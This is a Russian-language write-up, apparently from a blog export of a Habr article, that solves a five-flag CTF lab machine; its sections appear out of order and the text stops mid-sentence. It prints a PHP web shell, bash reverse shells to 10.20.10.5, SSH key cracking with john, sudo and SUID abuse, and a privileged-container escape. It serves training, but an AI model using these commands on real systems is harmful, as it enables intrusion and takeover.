ssh2john id_rsa > hash john hash --wordlist=\/usr\/share\/wordlists\/rockyou.txtUsing default input encoding: UTF-8Loaded 1 password hash (SSH, SSH private key [RSA\/DSA\/EC\/OPENSSH 32\/64])Cost 1 (KDF\/cipher [0=MD5\/AES 1=MD5\/3DES 2=Bcrypt\/AES]) is 2 for all loaded hashesCost 2 (iteration count) is 24 for all loaded hashesWill run 4 OpenMP threadsPress 'q' or Ctrl-C to abort, almost any other key for statusilovemike        (id_rsa)     1g 0:00:01:20 DONE (2026-04-27 17:41) 0.01249g\/s 25.58p\/s 25.58c\/s 25.58C\/s harris..lovers1Use the \"--show\" option to display all of the cracked passwords reliablySession completed. <\/code>
<\/a><\/div><\/pre>\n
\u041b\u043e\u0433\u0438\u043d\u0438\u043c\u0441\u044f \u0438 \u0437\u0430\u0431\u0438\u0440\u0430\u0435\u043c \u0432\u0442\u043e\u0440\u043e\u0439 \u0444\u043b\u0430\u0433.<\/p>\n
cat flag2.txt flag_751302c2172ca7e8ac68765f174406e1<\/code>
<\/a><\/div><\/pre>\n
\u0422\u0440\u0435\u0442\u0438\u0439 \u0444\u043b\u0430\u0433<\/h3>\n
\u041e\u0441\u043c\u043e\u0442\u0440\u0438\u043c\u0441\u044f \u0432 \u0434\u043e\u043c\u0430\u0448\u043d\u0435\u0439 \u0434\u0438\u0440\u0435\u043a\u0442\u043e\u0440\u0438\u0438 \u0438 \u043f\u043e\u0447\u0438\u0442\u0430\u0435\u043c \u0437\u0430\u043f\u0438\u0441\u043a\u0438.<\/p>\n
\"Saul<\/p>\n
Saul ssh<\/figcaption><\/div>\n<\/figure>\n
\u0418\u0437 \u0441\u043a\u0440\u0438\u043d\u0448\u043e\u0442\u0430 \u0432\u0438\u0434\u043d\u043e, \u0447\u0442\u043e \u0437\u0430\u043f\u0438\u0441\u043a\u0430 \u043d\u0430\u043c\u0438\u043a\u0430\u0435\u0442 \u043d\u0430 \u0442\u043e, \u0447\u0442\u043e \u043c\u043e\u0436\u0435\u043c \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0430\u043a\u043a\u0430\u0443\u043d\u0442\u0443 walter<\/code>, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0441\u043e\u0441\u0442\u043e\u0438\u0442 \u0432 \u0433\u0440\u0443\u043f\u043f\u0435 developers<\/code>, \u0430 \u043a\u043e\u043c\u0430\u043d\u0434\u0430 sudo -l<\/code> \u044d\u0442\u043e \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0430\u0435\u0442.<\/p>\n
\u041f\u043e\u0441\u043a\u043e\u043b\u044c\u043a\u0443 \u0438\u043d\u043e\u0433\u0434\u0430 \u0431\u044b\u0432\u0430\u044e\u0442 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u044b \u0441 \u043a\u043e\u043f\u0438\u043f\u0430\u0441\u0442\u043e\u043c \u043a\u043b\u044e\u0447\u0435\u0439, \u043b\u0443\u0447\u0448\u0435 \u0441\u0433\u0435\u043d\u0435\u0440\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u043a\u043b\u044e\u0447 \u043f\u0440\u044f\u043c\u043e \u0432 \u0442\u0435\u0440\u043c\u0438\u043d\u0430\u043b\u0435.<\/p>\n
ssh-keygen -t rsa -N \"\" -f \/tmp\/walter<\/code>
<\/a><\/div><\/pre>\n
\u0414\u043e\u0431\u0430\u0432\u043b\u044f\u0435\u043c \u0435\u0433\u043e \u0423\u043e\u043b\u0442\u0435\u0440\u0443<\/p>\n
cat \/tmp\/walter.pub | sudo -u walter \/usr\/bin\/tee -a \/home\/walter\/.ssh\/authorized_keys<\/code>
<\/a><\/div><\/pre>\n
\u0418 \u043f\u0440\u043e\u0431\u0443\u0435\u043c \u043b\u043e\u0433\u0438\u043d\u0438\u0442\u0441\u044f \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u043e.<\/p>\n
ssh -i \/tmp\/walter walter@localhost<\/code>
<\/a><\/div><\/pre>\n
\u0423\u0441\u043f\u0435\u0445 \u0438 \u0447\u0438\u0442\u0430\u0435\u043c \u0442\u0440\u0435\u0442\u0438\u0439 \u0444\u043b\u0430\u0433.<\/p>\n
cat flag3.txt                                  flag_691bf4e515a877ab5227c6a8459e4c7c<\/code>
<\/a><\/div><\/pre>\n
\u0427\u0435\u0442\u0432\u0435\u0440\u0442\u044b\u0439 \u0444\u043b\u0430\u0433<\/h3>\n
\u0414\u043b\u044f \u043d\u0430\u0447\u0430\u043b\u0430 \u043e\u0441\u043c\u043e\u0442\u0440\u0438\u043c\u0441\u044f \u0438 \u043f\u043e\u0447\u0438\u0442\u0430\u0435\u043c \u043f\u043e\u0434\u0441\u043a\u0430\u0437\u043a\u0438.<\/p>\n
\"Walter<\/p>\n
Walter Shell<\/figcaption><\/div>\n<\/figure>\n
\u0421\u0440\u0430\u0437\u0443 \u0432\u0438\u0434\u0435\u043d \u0444\u0430\u0439\u043b \u0441 SUID \u0431\u0438\u0442\u043e\u043c, \u0430 \u043f\u043e\u0434\u0441\u043a\u0430\u0437\u043a\u0430 \u043d\u0430\u043c\u0438\u043a\u0430\u0435\u0442 \u043d\u0430 \u043b\u0435\u0433\u043a\u0438\u0439 OSINT<\/code>. \u042f \u043a \u0441\u043e\u0436\u0430\u043b\u0435\u043d\u0438\u044e \u0441\u043c\u043e\u0442\u0440\u0435\u043b \u0442\u043e\u043b\u044c\u043a\u043e \u043f\u0435\u0440\u0432\u044b\u0439 \u0441\u0435\u0437\u043e\u043d \u044d\u0442\u043e\u0433\u043e \u0441\u0435\u0440\u0438\u0430\u043b\u0430, \u043d\u043e \u0435\u0434\u0432\u0430 \u043b\u0438 \u0432\u0441\u043f\u043e\u043c\u043d\u044e, \u043a\u0442\u043e \u043a\u043e\u0433\u043e \u0442\u0430\u043c \u0443\u0431\u0438\u0432\u0430\u043b, \u043f\u043e \u044d\u0442\u043e\u043c\u0443 \u0438\u0434\u0435\u043c \u0433\u0443\u0433\u043b\u0438\u0442\u044c.<\/p>\n
\"OSINT\"<\/p>\n
OSINT<\/figcaption><\/div>\n<\/figure>\n
\u0412\u0432\u043e\u0434\u0438\u043c \u0438\u043c\u044f Heisenberg<\/code> \u0438 \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u043c \u0440\u0443\u0442\u0430, \u0447\u0438\u0442\u0430\u0435\u043c \u0447\u0435\u0442\u0432\u0435\u0440\u0442\u044b\u0439 \u0444\u043b\u0430\u0433.<\/p>\n
cat flag4.txtflag_f17b8e2070286ae16fac5f2333338ad9<\/code>
<\/a><\/div><\/pre>\n
\u041f\u044f\u0442\u044b\u0439 \u0444\u043b\u0430\u0433 \u0438 \u043f\u043e\u0431\u0435\u0433 \u0438\u0437 \u043a\u043e\u043d\u0442\u0435\u0439\u043d\u0435\u0440\u0430<\/h3>\n
\u041d\u0435\u0441\u043c\u043e\u0442\u0440\u044f \u043d\u0430 \u0442\u043e, \u0447\u0442\u043e \u043c\u044b \u0432\u0437\u044f\u043b\u0438 \u0440\u0443\u0442\u0430, \u044d\u0442\u043e \u0432\u0441\u0435\u0433\u043e \u043b\u0438\u0448\u044c \u043a\u043e\u043d\u0442\u0435\u0439\u043d\u0435\u0440. \u041f\u0435\u0440\u0432\u043e\u0435, \u0447\u0442\u043e \u043d\u0443\u0436\u043d\u043e \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0438\u0442\u044c, \u043a\u0430\u043a\u043e\u0439 \u044d\u0442\u043e \u043a\u043e\u043d\u0442\u0435\u0439\u043d\u0435\u0440 \u043f\u0440\u0438\u0432\u0438\u043b\u0438\u0433\u0435\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u0438\u043b\u0438 \u043d\u0435\u0442.<\/p>\n
ls \/dev\/<\/code>
<\/a><\/div><\/pre>\n
\u0415\u0441\u043b\u0438 \u0432\u0438\u0434\u0438\u043c \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430 sda \u0438\u043b\u0438 nvme, \u0442\u043e \u043c\u044b \u043f\u0440\u0430\u043a\u0442\u0438\u0447\u0435\u0441\u043a\u0438 \u0441\u0431\u0435\u0436\u0430\u043b\u0438.<\/p>\n
\"Docker<\/p>\n
Docker Escape<\/figcaption><\/div>\n<\/figure>\n
\u041d\u0430 \u0441\u043a\u0440\u0438\u043d\u0435 \u0432\u0438\u0434\u043d\u044b \u0432\u0441\u0435 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430 \u0441\u0438\u0441\u0442\u0435\u043c\u044b, \u0430 \u0432\u0442\u043e\u0440\u0430\u044f \u043a\u043e\u043c\u0430\u043d\u0434\u0430 \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0430\u0435\u0442, \u0447\u0442\u043e \u043a\u043e\u043d\u0442\u0435\u0439\u043d\u0435\u0440 \u043f\u0440\u0438\u0432\u0435\u043b\u0438\u0433\u0435\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439. \u0423\u0445\u043e\u0434\u0438\u043c!<\/p>\n
mkdir \/mnt\/host_rootmount \/dev\/sda1 \/mnt\/host_rootcd \/mnt\/host_root<\/code>
<\/a><\/div><\/pre>\n
\u041c\u044b \u0432 \u043a\u043e\u0440\u043d\u0435 \u0441\u0438\u0441\u0442\u0435\u043c\u044b. \u0427\u0438\u0442\u0430\u0435\u043c \u0444\u043b\u0430\u0433 \u0440\u0443\u0442\u0430.<\/p>\n
cd root\/cat root.txtflag_c598ec6d71d1339cac6cba0b91df55cf<\/code>
<\/a><\/div><\/pre>\n
\n
\u0420\u0430\u0439\u0442\u0430\u043f \u043e\u0442 @alfabuster<\/a><\/p>\n<\/blockquote>\n<\/div>\n
\u0441\u0441\u044b\u043b\u043a\u0430 \u043d\u0430 \u043e\u0440\u0438\u0433\u0438\u043d\u0430\u043b \u0441\u0442\u0430\u0442\u044c\u0438 https:\/\/habr.com\/ru\/articles\/1046229\/<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"
\u041a\u0440\u0430\u0442\u043a\u043e\u0435 \u043e\u043f\u0438\u0441\u0430\u043d\u0438\u0435\u0414\u0430\u043d\u043d\u044b\u0439 \u0442\u0430\u0441\u043a \u0431\u044b\u043b \u0430\u043a\u0442\u0438\u0432\u0435\u043d \u0432 6 \u0441\u0435\u0437\u043e\u043d\u0435 CTF, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043f\u0440\u043e\u0445\u043e\u0434\u0438\u043b \u043d\u0430 \u043f\u043b\u0430\u0442\u0444\u043e\u0440\u043c\u0435 ACLAbs. \u042d\u0442\u043e \u043f\u0440\u043e\u0441\u0442\u0430\u044f \u043c\u0430\u0448\u0438\u043d\u0430, \u043e\u0434\u043d\u0430\u043a\u043e \u0438\u043c\u0435\u0435\u0442 5 \u0444\u043b\u0430\u0433\u043e\u0432. \u0421\u043d\u0430\u0447\u0430\u043b\u0430 \u0440\u0430\u0441\u043a\u0440\u0443\u0442\u0438\u043c RFI \u0434\u043e RCE, \u0434\u0430\u043b\u0435\u0435 \u0431\u0443\u0434\u0435\u043c \u043f\u043e\u0432\u044b\u0448\u0430\u0442\u044c \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0438, \u043f\u0440\u043e\u0439\u0434\u0435\u043c\u0441\u044f \u043f\u043e \u0433\u043e\u0440\u0438\u0437\u043e\u043d\u0442\u0430\u043b\u044c\u043d\u043e\u043c\u0443 \u043f\u0435\u0440\u0435\u043c\u0435\u0449\u0435\u043d\u0438\u044e \u0438 \u0432 \u043a\u043e\u043d\u0446\u0435 \u0441\u0431\u0435\u0436\u0438\u043c \u0438\u0437 \u043a\u043e\u043d\u0442\u0435\u0439\u043d\u0435\u0440\u0430.\u041a\u0441\u0442\u0430\u0442\u0438 12 \u0438\u044e\u043d\u044f \u0441\u0442\u0430\u0440\u0442\u0443\u0435\u0442 \u043d\u043e\u0432\u044b\u0439, 7 \u0441\u0435\u0437\u043e\u043d \u043d\u0430 \u0441\u0430\u0439\u0442\u0435 aclabs.pro. \u0411\u0443\u0434\u0443\u0442 \u043d\u043e\u0432\u044b\u0435 \u0437\u0430\u0434\u0430\u043d\u0438\u044f \u0438 \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u044b\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438. \u0412\u0441\u0435\u043c, \u043a\u043e\u043c\u0443 \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u0435\u043d \u043a\u0438\u0431\u0435\u0440\u0431\u0435\u0437 \u0438 \u0443\u043d\u0438\u043a\u0430\u043b\u044c\u043d\u044b\u0435 \u0442\u0430\u0447\u043a\u0438, \u0436\u0434\u0435\u043c \u043d\u0430 \u043f\u043b\u0430\u0442\u0444\u043e\u0440\u043c\u0435. \u0412\u0445\u043e\u0434 \u0441\u0432\u043e\u0431\u043e\u0434\u043d\u044b\u0439!\u0420\u0430\u0437\u0432\u0435\u0434\u043a\u0430 (T1595.002)\u041a\u0430\u043a \u043e\u0431\u044b\u0447\u043d\u043e \u043f\u0440\u043e\u0432\u043e\u0434\u0438\u043c \u043f\u0435\u0440\u0432\u0438\u0447\u043d\u044b\u0439 \u0430\u043d\u0430\u043b\u0438\u0437 \u0446\u0435\u043b\u0438.sudo nmap -sC -sV ipPORT   STATE SERVICE VERSION22\/tcp open  ssh     OpenSSH 8.4p1 Debian 5+deb11u5 (protocol 2.0)| ssh-hostkey: |   3072 7d:9f:93:42:8b:98:b0:7a:bb:78:f6:7f:9e:0f:bc:96 (RSA)|   256 13:42:95:43:cd:7a:05:fb:65:c8:f7:04:0f:9f:fd:c9 (ECDSA)|_  256 58:a2:eb:17:9d:11:67:ae:34:91:7b:48:f7:44:37:de (ED25519)80\/tcp open  http    Apache httpd 2.4.56 ((Debian))| http-methods: |_  Supported Methods: GET HEAD POST OPTIONS|_http-server-header: Apache\/2.4.56 (Debian)|_http-title: Save Walter WhiteService Info: OS: Linux; CPE: cpe:\/o:linux:linux_kernel\u041e\u0441\u043e\u0431\u043e \u043d\u0438\u0447\u0435\u0433\u043e \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u043e\u0433\u043e, \u043f\u043e \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u0443 22 ssh, 80 http. \u0412\u0435\u0431\u0441\u0430\u0439\u0442 \u043d\u0430 \u043f\u0435\u0440\u0432\u044b\u0439 \u0432\u0437\u0433\u043b\u044f\u0434 \u043e\u0431\u044b\u043a\u043d\u043e\u0432\u0435\u043d\u043d\u044b\u0439, \u043d\u0435 \u0438\u043c\u0435\u0435\u0442 \u043f\u043e\u043b\u0435\u0439 \u0432\u0432\u043e\u0434\u0430.SaveWalterWhite site\u041e\u0434\u043d\u0430\u043a\u043e \u043d\u0443\u0436\u043d\u043e \u0432\u0437\u0433\u043b\u044f\u043d\u0443\u0442\u044c \u043d\u0430 \u0438\u0441\u0445\u043e\u0434\u043d\u044b\u0439 \u043a\u043e\u0434, \u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u0441\u044f \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u0435\u0435. \u0415\u0441\u0442\u044c \u043a\u043e\u043c\u043c\u0435\u043d\u0442\u0430\u0440\u0438\u0439, \u043d\u043e \u0435\u0449\u0435 \u043b\u0443\u0447\u0448\u0435 \u0443 \u043d\u0430\u0441 \u0438\u043c\u0435\u0435\u0442\u0441\u044f \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u0439 \u0432\u0435\u043a\u0442\u043e\u0440 \u0430\u0442\u0430\u043a\u0438.\u0418\u0441\u0445\u043e\u0434\u043d\u044b\u0439 \u043a\u043e\u0434\u0424\u0430\u0439\u043b image.php \u043f\u0440\u0438\u043d\u0438\u043c\u0430\u0435\u0442 \u0430\u0440\u0433\u0443\u043c\u0435\u043d\u0442 ?file= . \u0417\u043d\u0430\u0447\u0438\u0442 \u0432 \u0442\u0435\u043e\u0440\u0438\u0438 \u043c\u044b \u043c\u043e\u0436\u0435\u043c \u043f\u0440\u043e\u0447\u0438\u0442\u0430\u0442\u044c \u0444\u0430\u0439\u043b, \u0447\u0442\u043e \u0434\u0430\u0435\u0442 \u043d\u0430\u043c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c path traversal. \u041f\u043e\u0441\u043a\u043e\u043b\u044c\u043a\u0443 \u0443 \u043d\u0430\u0441 Debian, \u0442\u043e \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u043c \u0444\u0430\u0439\u043b etc\/passwd.Path traversal\u041e\u0442\u043b\u0438\u0447\u043d\u043e! \u0418\u0437 \u044d\u0442\u043e\u0433\u043e \u0444\u0430\u0439\u043b\u0430, \u043c\u044b \u0437\u043d\u0430\u0435\u043c, \u0447\u0442\u043e \u0443 \u044d\u0442\u043e\u0439 \u043c\u0430\u0448\u0438\u043d\u044b 3 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f, \u044d\u0442\u043e walt, saul \u0438 jesse. \u041d\u043e \u0431\u043e\u043b\u044c\u0448\u0435 \u043f\u0440\u043e\u0447\u0438\u0442\u0430\u0442\u044c \u043f\u043e\u043b\u0435\u0437\u043d\u044b\u0445 \u0444\u0430\u0439\u043b\u043e\u0432 \u043d\u0435 \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u0442\u0441\u044f, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u043d\u0443\u0436\u043d\u043e \u0440\u0430\u0441\u043a\u0440\u0443\u0447\u0438\u0432\u0430\u0442\u044c \u0434\u043e RCE.\u042d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f (T1190) RFI — RCE\u041f\u0435\u0440\u0435\u043f\u0440\u043e\u0431\u043e\u0432\u0430\u043b \u043c\u043d\u043e\u0433\u043e \u0432\u0430\u0440\u0438\u0430\u043d\u0442\u043e\u0432 \u0447\u0442\u0435\u043d\u0438\u044f \u0434\u0440\u0443\u0433\u0438\u0445 \u0444\u0430\u0439\u043b\u043e\u0432, \u043d\u043e \u043f\u0440\u0430\u0432 \u043d\u0435 \u0445\u0432\u0430\u0442\u0430\u043b\u043e. \u041f\u043e\u044d\u0442\u043e\u043c\u0443 \u043f\u043e\u0448\u0435\u043b \u0447\u0438\u0442\u0430\u0442\u044c PayloadAllTheThings https:\/\/github.com\/swisskyrepo\/PayloadsAllTheThings\/tree\/master\/File Inclusion \u0438 \u0432\u043e\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b\u0441\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c\u044e RFI (Remote File Inclusion).\u0414\u043b\u044f \u043d\u0430\u0447\u0430\u043b\u0430 \u0441\u043e\u0437\u0434\u0430\u0435\u043c \u0444\u0430\u0439\u043b\u0438\u043a \u0443 \u0441\u0435\u0431\u044f \u043d\u0430 \u0445\u043e\u0441\u0442\u0435, \u044f \u043d\u0430\u0437\u0432\u0430\u043b \u0435\u0433\u043e cmd.php \u0441 \u043f\u0440\u043e\u0441\u0442\u044b\u043c \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u043c\u044b\u043c.<?php system($_GET[‘cmd’]); ?>\u041f\u0440\u0438\u043f\u043e\u0434\u043d\u0438\u043c\u0435\u043c \u043f\u0440\u043e\u0441\u0442\u043e\u0439 \u0432\u0435\u0431-\u0441\u0435\u0440\u0432\u0435\u0440 \u043d\u0430 python.python -m http.server 8888\u0414\u0430\u043b\u0435\u0435 \u0447\u0435\u0440\u0435\u0437 \u0431\u0443\u0440\u043f \u043f\u043e\u0441\u044b\u043b\u0430\u044e \u0437\u0430\u043f\u0440\u043e\u0441, \u0447\u0442\u043e\u0431\u044b \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c, \u0441\u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u043b\u0438 \u043a\u043e\u043c\u0430\u043d\u0434\u0430 id.RFI to RCE\u041e\u0442\u043b\u0438\u0447\u043d\u043e, \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u043c RCE, \u0430 \u044d\u0442\u043e \u0443\u0436\u0435 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c, \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u043a\u043e\u0442\u043e\u0440\u043e\u0439 \u043f\u0440\u043e\u0431\u0440\u043e\u0441\u0438\u043c \u0441\u0435\u0431\u0435 \u0440\u0435\u0432\u0435\u0440\u0441-\u0448\u0435\u043b\u043b. \u0414\u043b\u044f \u044d\u0442\u043e\u0433\u043e \u043f\u043e\u0434\u043d\u0438\u043c\u0435\u043c \u0435\u0449\u0435 \u0441\u043b\u0443\u0448\u0430\u0442\u0435\u043b\u044c \u043d\u0430 \u043f\u043e\u0440\u0442\u0443 4444.bash -i >& \/dev\/tcp\/10.20.10.5\/4444 0>&1\u041a\u0441\u0442\u0430\u0442\u0438, \u0431\u0435\u0437 \u043e\u0431\u0435\u0440\u0442\u043a\u0438 bash -c \u043a\u043e\u043c\u0430\u043d\u0434\u0430 \u0432\u044b\u0448\u0435 \u0447\u0430\u0441\u0442\u043e \u043d\u0435 \u043e\u0442\u0440\u0430\u0431\u0430\u0442\u044b\u0432\u0430\u0435\u0442, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u0444\u0438\u043d\u0430\u043b\u044c\u043d\u0430\u044f \u043a\u043e\u043c\u0430\u043d\u0434\u0430 \u0431\u0443\u0434\u0435\u0442 \u0432\u044b\u0433\u043b\u044f\u0434\u0435\u0442\u044c \u0442\u0430\u043a.bash -c ‘bash -i >& \/dev\/tcp\/10.20.10.5\/4444 0>&1’\u0415\u0435 \u043d\u0443\u0436\u043d\u043e \u0437\u0430\u044d\u043d\u043a\u043e\u0434\u0438\u0442\u044c \u0432 url \u043b\u0438\u0431\u043e \u043f\u0440\u043e\u0441\u0442\u043e \u0432 \u0440\u0435\u043f\u0438\u0442\u0435\u0440\u0435 \u043d\u0430\u0436\u0430\u0442\u044c ctrl+u. \u041e\u0431\u0430 \u0432\u0430\u0440\u0438\u0430\u043d\u0442\u0430 \u0440\u0430\u0431\u043e\u0447\u0438\u0435.\u041f\u043e\u0441\u043b\u0435 \u0432\u0441\u0435\u0445 \u043c\u0430\u043d\u0438\u043f\u0443\u043b\u044f\u0446\u0438\u0439 \u0434\u043e\u043b\u0436\u043d\u044b \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0440\u0435\u0432\u0435\u0440\u0441 \u0448\u0435\u043b\u043b.\u0420\u0435\u0432\u0435\u0440\u0441 \u0448\u0435\u043b\u043b\u041f\u0435\u0440\u0432\u044b\u0439 \u0424\u043b\u0430\u0433\u041d\u0430\u0432\u0435\u0440\u043d\u043e\u0435 \u044d\u0442\u043e \u043f\u0435\u0440\u0432\u0430\u044f \u043c\u0430\u0448\u0438\u043d\u0430, \u0443 \u043a\u043e\u0442\u043e\u0440\u043e\u0439 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c www-data, \u043c\u043e\u0436\u0435\u0442 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u0445\u043e\u0442\u044c \u0447\u0442\u043e-\u0442\u043e \u0441 \u043f\u0440\u0430\u0432\u0430\u043c\u0438 sudo.sudo -lMatching Defaults entries for www-data on 50e6802eb8a3:    env_reset, mail_badpass,    secure_path=\/usr\/local\/sbin\\:\/usr\/local\/bin\\:\/usr\/sbin\\:\/usr\/bin\\:\/sbin\\:\/binUser www-data may run the following commands on 50e6802eb8a3:    (jesse) NOPASSWD: \/opt\/scripts\/backup.sh\u041f\u0440\u043e\u0432\u0435\u0440\u0438\u043c \u044d\u0442\u043e\u0442 \u0441\u043a\u0440\u0438\u043f\u0442ls -la \/opt\/scripts\/backup.sh-rwxrwxrwx 1 jesse jesse 940 Dec  2 17:31 \/opt\/scripts\/backup.sh\u041f\u043e\u0441\u043a\u043e\u043b\u044c\u043a\u0443 \u0443 \u043d\u0430\u0441 \u043f\u043e\u043b\u043d\u044b\u0435 \u043f\u0440\u0430\u0432\u0430, \u044f \u043f\u0440\u043e\u0441\u0442\u043e \u043f\u0440\u043e\u043f\u0438\u0441\u0430\u043b \u0432 \u043d\u0435\u0433\u043e \u0435\u0449\u0435 \u043e\u0434\u0438\u043d \u0440\u0435\u0432\u0435\u0440\u0441-\u0448\u0435\u043b\u043b.echo «bash -c ‘bash -i >& \/dev\/tcp\/10.20.10.5\/5555 0>&1′» > \/opt\/scripts\/backup.sh\u0412\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u043c \u0435\u0433\u043e \u043e\u0442 \u0438\u043c\u0435\u043d\u0438 jessesudo -u jesse \/opt\/scripts\/backup.sh\u041f\u043e\u043b\u0443\u0447\u0430\u0435\u043c \u0448\u0435\u043b\u043b \u043e\u0442 \u0438\u043c\u0435\u043d\u0438 jesse \u0438 \u0447\u0438\u0442\u0430\u0435\u043c \u043f\u0435\u0440\u0432\u044b\u0439 \u0444\u043b\u0430\u0433.cat flag1.txtflag_38ae3a7c98175e4aeff0b2a3d67aa3c4\u0412\u0442\u043e\u0440\u043e\u0439 \u0444\u043b\u0430\u0433\u041f\u043e\u0441\u043a\u043e\u043b\u044c\u043a\u0443 \u043c\u044b \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0435 \u0443\u0436\u0435 \u043e\u0442 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f jesse, \u0442\u043e \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0438\u043c\u0441\u044f \u043f\u043e ssh, \u0441\u043a\u043e\u043f\u0438\u0440\u043e\u0432\u0430\u0432 id_rsa.\u041d\u0443\u0436\u043d\u043e \u043e\u0441\u043c\u043e\u0442\u0440\u0435\u0442\u044c\u0441\u044f \u0432 \u0434\u043e\u043c\u0430\u0448\u043d\u0435\u0439 \u0434\u0438\u0440\u0435\u043a\u0442\u043e\u0440\u0438\u0438.Jesse terminal notes\u0423 \u043d\u0430\u0441 \u0435\u0441\u0442\u044c \u043f\u043e\u0434\u0441\u043a\u0430\u0437\u043a\u0430, \u0447\u0442\u043e Saul \u043e\u0441\u0442\u0430\u0432\u0438\u043b \u0430\u0440\u0445\u0438\u0432, \u043d\u043e \u043c\u044b \u043d\u0435 \u0437\u043d\u0430\u0435\u043c \u043d\u0438 \u043a\u043b\u044e\u0447 \u043d\u0438 \u043f\u0430\u0440\u043e\u043b\u044c.\u041f\u043e\u0441\u043c\u043e\u0442\u0440\u0438\u043c, \u0447\u0442\u043e \u0437\u0430 \u0430\u0440\u0445\u0438\u0432 \u0438 \u0447\u0442\u043e \u0442\u0430\u043c \u043b\u0435\u0436\u0438\u0442.tar -xf saul-back.tar -C \/tmpls                                                                                                                      README  config  data  hints.13  index.13  integrity.13  nonce\u250c\u2500\u2500(jesse\u327f50e6802eb8a3)-[\/tmp\/backup]\u2514\u2500$ cat README                                                                                                              This is a Borg Backup repository.See https:\/\/borgbackup.readthedocs.io\/Borg Backup — \u044d\u0442\u043e \u043c\u043e\u0449\u043d\u044b\u0439 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442 \u0440\u0435\u0437\u0435\u0440\u0432\u043d\u043e\u0433\u043e \u043a\u043e\u043f\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u0441 \u0434\u0435\u0434\u0443\u043f\u043b\u0438\u043a\u0430\u0446\u0438\u0435\u0439 \u0438 \u0448\u0438\u0444\u0440\u043e\u0432\u0430\u043d\u0438\u0435\u043c.\u041f\u043e\u0441\u043a\u043e\u043b\u044c\u043a\u0443 \u043d\u0430 \u0441\u0430\u043c\u043e\u043c \u0441\u0435\u0440\u0432\u0435\u0440\u0435 \u0443\u0442\u0438\u043b\u0438\u0442\u044b borg \u043d\u0435\u0442, \u043d\u0430\u043c \u043d\u0443\u0436\u043d\u043e \u0437\u0430\u0431\u0440\u0430\u0442\u044c \u044d\u0442\u043e\u0442 \u0431\u044d\u043a\u0430\u043f \u043a \u0441\u0435\u0431\u0435 \u043d\u0430 Kali \u0438 \u00ab\u0432\u0441\u043a\u0440\u044b\u0442\u044c\u00bb \u0435\u0433\u043e \u0442\u0430\u043c.\u041f\u043e\u0441\u043a\u043e\u043b\u044c\u043a\u0443 \u043c\u044b \u0443\u0436\u0435 \u0432 SSH, \u0441\u0430\u043c\u043e\u0435 \u043f\u0440\u043e\u0441\u0442\u043e\u0435 \u2014 \u0437\u0430\u0431\u0440\u0430\u0442\u044c \u0444\u0430\u0439\u043b \u0447\u0435\u0440\u0435\u0437 scp.scp -i id_rsa jesse@10.10.10.155:~\/saul-back.tar .\u0414\u0430\u043b\u0435\u0435 \u043d\u0430 \u0441\u0432\u043e\u0435\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u0435 \u0443\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u0435\u043c borgbackup.sudo apt install borgbackuptar -xf saul-back.tar \u041f\u043e\u044f\u0432\u0438\u0442\u0441\u044f \u043f\u0430\u043f\u043a\u0430 backup. \u041f\u043e\u0441\u043c\u043e\u0442\u0440\u0438\u043c \u0441\u043f\u0438\u0441\u043e\u043a \u0430\u0440\u0445\u0438\u0432\u043e\u0432.borg list .Enter passphrase for key \/home\/den\/backup: \u041d\u0443\u0436\u043d\u0430 